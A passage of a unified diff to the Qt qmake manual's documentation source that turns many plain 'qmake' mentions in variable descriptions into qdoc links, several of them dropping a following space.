         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_MT_DBG
    @@ -2021,7 +2021,7 @@
         This variable contains the compiler flags for creating a debuggable
         multi-threaded application or when the version of Qt that you link
         against is a debuggable multi-threaded statically linked library.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_MT_DLL
    @@ -2032,7 +2032,7 @@
         This variable contains the compiler flags for creating a
         multi-threaded dll or when the version of Qt that you link
         against is a multi-threaded dll.  The value of this variable is typically
    -    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
    +    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
         rarely needs to be modified.
     
         \target QMAKE_CFLAGS_MT_DLLDBG
    @@ -2043,7 +2043,7 @@
         This variable contains the compiler flags for creating a debuggable
         multi-threaded dll or when the version of Qt that you link
         against is a debuggable multi-threaded statically linked library.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_RELEASE
    @@ -2051,7 +2051,7 @@
     
         This variable contains the compiler flags for creating a non-debuggable
         application.  The value of this variable is typically
    -    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
    +    handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
         rarely needs to be modified.
     
         \target QMAKE_CFLAGS_SHLIB
    @@ -2061,7 +2061,7 @@
     
         This variable contains the compiler flags for creating a shared
         library. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CFLAGS_THREAD
    @@ -2069,7 +2069,7 @@
     
         This variable contains the compiler flags for creating a multi-threaded
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CFLAGS_WARN_OFF
    @@ -2077,7 +2077,7 @@
     
         This variable is not empty if the warn_off
         \l{#CONFIG}{CONFIG} option is specified.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         \target QMAKE_CFLAGS_WARN_ON
    @@ -2086,7 +2086,7 @@
         This variable is not empty if the warn_on
         \l{#CONFIG}{CONFIG} option is specified.
         The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CLEAN
    @@ -2105,7 +2105,7 @@
         \section1 QMAKE_CXXFLAGS
     
         This variable contains the C++ compiler flags that are used when building
    -    a project. The value of this variable is typically handled by \c qmake or
    +    a project. The value of this variable is typically handled by \l {qmake}{ \c qmake} or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. The flags
         specific to debug and release modes can be adjusted by modifying
         the \c QMAKE_CXXFLAGS_DEBUG and \c QMAKE_CXXFLAGS_RELEASE variables,
    @@ -2125,7 +2125,7 @@
     
         This variable contains the C++ compiler flags for creating a debuggable
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_MT
    @@ -2133,7 +2133,7 @@
     
         This variable contains the C++ compiler flags for creating a multi-threaded
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_MT_DBG
    @@ -2141,7 +2141,7 @@
     
         This variable contains the C++ compiler flags for creating a debuggable multi-threaded
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_MT_DLL
    @@ -2151,7 +2151,7 @@
     
         This variable contains the C++ compiler flags for creating a multi-threaded
         dll. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_MT_DLLDBG
    @@ -2161,7 +2161,7 @@
     
         This variable contains the C++ compiler flags for creating a multi-threaded debuggable
         dll. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_RELEASE
    @@ -2169,7 +2169,7 @@
     
         This variable contains the C++ compiler flags for creating an
         application. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_SHLIB
    @@ -2177,7 +2177,7 @@
     
         This variable contains the C++ compiler flags for creating a
         shared library.  The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_THREAD
    @@ -2185,21 +2185,21 @@
     
         This variable contains the C++ compiler flags for creating a
         multi-threaded application.  The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
         to be modified.
     
         \target QMAKE_CXXFLAGS_WARN_OFF
         \section1 QMAKE_CXXFLAGS_WARN_OFF
     
         This variable contains the C++ compiler flags for suppressing compiler warnings.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_CXXFLAGS_WARN_ON
         \section1 QMAKE_CXXFLAGS_WARN_ON
     
         This variable contains C++ compiler flags for generating compiler warnings.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_DISTCLEAN
    @@ -2211,7 +2211,7 @@
         \section1 QMAKE_EXTENSION_SHLIB
     
         This variable contains the extention for shared libraries.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         Note that platform-specific variables that change the extension will override
    @@ -2285,15 +2285,15 @@
         \section1 QMAKE_FAILED_REQUIREMENTS
     
         This variable contains the list of requirements that were failed to be met when
    -    \c qmake was used.  For example, the sql module is needed and wasn't compiled into Qt.  The
    -    value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    \l {qmake}{ \c qmake}was used.  For example, the sql module is needed and wasn't compiled into Qt.  The
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.
     
         \target QMAKE_FILETAGS
         \section1 QMAKE_FILETAGS
     
         This variable contains the file tags needed to be entered into the Makefile, such as SOURCES
    -    and HEADERS.  The value of this variable is typically handled by \c qmake or
    +    and HEADERS.  The value of this variable is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_FRAMEWORK_BUNDLE_NAME
    @@ -2329,7 +2329,7 @@
     
         This variable contains the location of all known header files to be added to
         INCLUDEPATH when building an application.  The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
    +    typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
         needs to be modified.
     
         \target QMAKE_INCDIR_EGL
    @@ -2338,14 +2338,14 @@
         This variable contains the location of EGL header files to be added
         to INCLUDEPATH when building an application with OpenGL/ES or
         OpenVG support. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_INCDIR_OPENGL
         \section1 QMAKE_INCDIR_OPENGL
     
         This variable contains the location of OpenGL header files to be added
         to INCLUDEPATH when building an application with OpenGL support. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2357,7 +2357,7 @@
         to INCLUDEPATH when building an application with OpenGL ES 1
         or OpenGL ES 2 support respectively.
     
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2368,7 +2368,7 @@
     
         This variable contains the location of OpenVG header files to be added
         to INCLUDEPATH when building an application with OpenVG support. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenVG implementation uses EGL then QMAKE_INCDIR_EGL may also
    @@ -2379,7 +2379,7 @@
     
         This variable contains the location of all known header file
         paths to be added to INCLUDEPATH when building a Qt application. The value
    -    of this variable is typically handled by \c qmake or
    +    of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_INCDIR_THREAD
    @@ -2387,7 +2387,7 @@
     
         This variable contains the location of all known header file
         paths to be added to INCLUDEPATH when building a multi-threaded application.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_INCDIR_X11
    @@ -2397,7 +2397,7 @@
     
         This variable contains the location of X11 header file paths to be
         added to INCLUDEPATH when building a X11 application.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target QMAKE_INFO_PLIST
    @@ -2428,7 +2428,7 @@
     
         This variable contains link flags when building console
         programs.  The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_CONSOLE_DLL
    @@ -2437,19 +2437,19 @@
     
         This variable contains link flags when building console
         dlls.  The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_DEBUG
     
         This variable contains link flags when building debuggable applications.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_PLUGIN
     
         This variable contains link flags when building plugins. The value
    -    of this variable is typically handled by \c qmake or
    +    of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_RPATH
    @@ -2463,25 +2463,25 @@
     
         This variable contains link flags when building programs that
         use the Qt library built as a dll. The value of this variable is
    -    typically handled by \c qmake or
    +    typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_RELEASE
     
         This variable contains link flags when building applications for
         release. The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_SHAPP
     
         This variable contains link flags when building applications which are using
         the \c app template.  The value of this variable is typically handled by
    -    \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
    +    \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_SHLIB
     
         This variable contains link flags when building shared libraries
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_SONAME
    @@ -2493,7 +2493,7 @@
         \section1 QMAKE_LFLAGS_THREAD
     
         This variable contains link flags when building multi-threaded projects.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_WINDOWS
    @@ -2502,7 +2502,7 @@
     
         This variable contains link flags when building Windows GUI projects
         (i.e. non-console applications).
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LFLAGS_WINDOWS_DLL
    @@ -2510,14 +2510,14 @@
         \e {This is used on Windows only.}
     
         This variable contains link flags when building Windows DLL projects.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR
     
         This variable contains the location of all known library
         directories.The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR_FLAGS
    @@ -2526,21 +2526,21 @@
     
         This variable contains the location of all library
         directory with -L prefixed.  The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR_EGL
     
         This variable contains the location of the EGL library
         directory, when EGL is used with OpenGL/ES or OpenVG. The value
    -    of this variable is typically handled by \c qmake or
    +    of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR_OPENGL
     
         This variable contains the location of the OpenGL library
         directory.The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2550,7 +2550,7 @@
     
         This variable contains the location of the OpenVG library
         directory. The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenVG implementation uses EGL, then QMAKE_LIBDIR_EGL
    @@ -2560,7 +2560,7 @@
     
         This variable contains the location of the Qt library
         directory.The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBDIR_X11
    @@ -2569,13 +2569,13 @@
     
         This variable contains the location of the X11 library
         directory.The value of this variable is typically handled by
    -    \c qmake or
    +    \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS
     
         This variable contains all project libraries.  The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_CONSOLE
    @@ -2591,13 +2591,13 @@
     
         This variable contains all EGL libraries when building Qt with
         OpenGL/ES or OpenVG.  The value of this variable is typically
    -    handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
    +    handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
         needs to be modified.  The usual value is \c{-lEGL}.
     
         \section1 QMAKE_LIBS_OPENGL
     
         This variable contains all OpenGL libraries.  The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2606,7 +2606,7 @@
         \section1 QMAKE_LIBS_OPENGL_QT
     
         This variable contains all OpenGL Qt libraries.The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_OPENGL_ES1, QMAKE_LIBS_OPENGL_ES2
    @@ -2614,7 +2614,7 @@
         These variables contain all the OpenGL libraries for OpenGL ES 1
         and OpenGL ES 2.
     
    -    The value of these variables is typically handled by \c qmake or
    +    The value of these variables is typically handled by \l {qmake}{ \c qmake}or
         \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         If the OpenGL implementation uses EGL (most OpenGL/ES systems),
    @@ -2623,7 +2623,7 @@
         \section1 QMAKE_LIBS_OPENVG
     
         This variable contains all OpenVG libraries.  The value of this
    -    variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
    +    variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
         and rarely needs to be modified.  The usual value is \c{-lOpenVG}.
     
         Some OpenVG engines are implemented on top of OpenGL.  This will
    @@ -2636,7 +2636,7 @@
         \section1 QMAKE_LIBS_QT
     
         This variable contains all Qt libraries.The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_QT_DLL
    @@ -2644,21 +2644,21 @@
         \e {This is used on Windows only.}
     
         This variable contains all Qt libraries when Qt is built as a dll.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_QT_OPENGL
     
         This variable contains all the libraries needed to link against if
         OpenGL support is turned on. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_QT_THREAD
     
         This variable contains all the libraries needed to link against if
         thread support is turned on.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_RT
    @@ -2667,7 +2667,7 @@
     
         This variable contains the runtime library needed to link against when
         building an application.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_RTMT
    @@ -2676,7 +2676,7 @@
     
         This variable contains the runtime library needed to link against when
         building a multi-threaded application.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_THREAD
    @@ -2685,7 +2685,7 @@
     
         This variable contains all libraries that need to be linked against
         when building a multi-threaded application.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_WINDOWS
    @@ -2693,7 +2693,7 @@
         \e {This is used on Windows only.}
     
         This variable contains all windows libraries.The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_X11
    @@ -2701,7 +2701,7 @@
         \e {This is used on Unix platforms only.}
     
         This variable contains all X11 libraries.The value of this
    -    variable is typically handled by \c qmake or
    +    variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIBS_X11SM
    @@ -2709,20 +2709,20 @@
         \e {This is used on Unix platforms only.}
     
         This variable contains all X11 session management libraries.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LIB_FLAG
     
         This variable is not empty if the \c lib template is specified.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_LINK_SHLIB_CMD
     
         This variable contains the command to execute when creating a
         shared library. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_POST_LINK
    @@ -2743,7 +2743,7 @@
     
         This variable contains the command to execute when creating a link
         to a shared library. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_MAC_SDK
    @@ -2764,26 +2764,26 @@
         \section1 QMAKE_MAKEFILE
     
         This variable contains the name of the Makefile to create. The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_MOC_SRC
     
         This variable contains the names of all moc source files to
         generate and include in the project. The value of this variable is
    -    typically handled by \c qmake or
    +    typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_QMAKE
     
         This variable contains the location of qmake if it is not in the path.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_QT_DLL
     
         This variable is not empty if Qt was built as a dll.  The
    -    value of this variable is typically handled by \c qmake or
    +    value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_RESOURCE_FLAGS
    @@ -2813,37 +2813,37 @@
         \section1 QMAKE_RUN_CC
     
         This variable specifies the individual rule needed to build an object.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_RUN_CC_IMP
     
         This variable specifies the individual rule needed to build an object.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_RUN_CXX
     
         This variable specifies the individual rule needed to build an object.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_RUN_CXX_IMP
     
         This variable specifies the individual rule needed to build an object.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_TARGET
     
         This variable contains the name of the project target.  The value of
    -    this variable is typically handled by \c qmake or
    +    this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 QMAKE_UIC
     
         This variable contains the location of uic if it is not in the path.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         It can be used to specify arguments to uic as well, such as additional plugin
    @@ -2916,7 +2916,7 @@
         \section1 RC_FILE
     
         This variable contains the name of the resource file for the application.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target RCC_DIR
    @@ -2949,7 +2949,7 @@
         \section1 RES_FILE
     
         This variable contains the name of the resource file for the application.
    -    The value of this variable is typically handled by \c qmake or
    +    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target RSS_RULES
    @@ -3040,10 +3040,10 @@
     
         \section1 SRCMOC
     
    -    This variable is set by \c qmake if files can be found that
    +    This variable is set by \l {qmake}{ \c qmake}if files can be found that
         contain the Q_OBJECT macro.  \c SRCMOC contains the
         name of all the generated moc files. The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target SUBDIRS
    @@ -3059,7 +3059,7 @@
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 50
     
         It is essential that the project file in each subdirectory has the same
    -    name as the subdirectory itself, so that \c qmake can find it.
    +    name as the subdirectory itself, so that \l {qmake}{ \c qmake}can find it.
         For example, if the subdirectory is called \c myapp then the project file
         in that directory should be called \c myapp.pro.
     
    @@ -3191,19 +3191,19 @@
         \section1 TARGET_EXT
     
         This variable specifies the target's extension.  The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \section1 TARGET_x
     
         This variable specifies the target's extension with a major version number.  The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \section1 TARGET_x.y.z
     
         This variable specifies the target's extension with version number.  The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \target TEMPLATE
    @@ -3251,14 +3251,14 @@
     
         This variable contains a list of the generated implementation files by UIC.
         The value of this variable
    -    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
    +    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
         modified.
     
         \section1 UICOBJECTS
     
         This variable is generated from the UICIMPLS variable.  The extension of each
         file will have been replaced by .o (Unix) or .obj (Win32).  The value of this variable is
    -    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
    +    typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and
         rarely needs to be modified.
     
         \target UI_DIR
    @@ -3320,8 +3320,8 @@
     
         \section1 VPATH
     
    -    This variable tells \c qmake where to search for files it cannot
    -    open. With this you may tell \c qmake where it may look for things
    +    This variable tells \l {qmake}{ \c qmake}where to search for files it cannot
    +    open. With this you may tell \l {qmake}{ \c qmake}where it may look for things
         like SOURCES, and if it finds an entry in SOURCES that cannot be
         opened it will look through the entire VPATH list to see if it can
         find the file on its own.
    @@ -3331,13 +3331,13 @@
         \section1 YACCIMPLS
     
         This variable contains a list of yacc source files. The value of
    -    this variable is typically handled by \c qmake or
    +    this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \section1 YACCOBJECTS
     
         This variable contains a list of yacc object files. The value of
    -    this variable is typically handled by \c qmake or
    +    this variable is typically handled by \l {qmake}{ \c qmake}or
          \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
     
         \target YACCSOURCES
    @@ -3378,7 +3378,7 @@
         \previouspage qmake Variable Reference
         \nextpage Configuring qmake's Environment
     
    -    \c qmake provides built-in functions to allow the contents of
    +    \l {qmake}{ \c qmake}provides built-in functions to allow the contents of
         variables to be processed, and to enable tests to be performed
         during the configuration process. Functions that process the
         contents of variables typically return values that can be assigned
    @@ -3449,7 +3449,7 @@
     
         \section1 error(string)
     
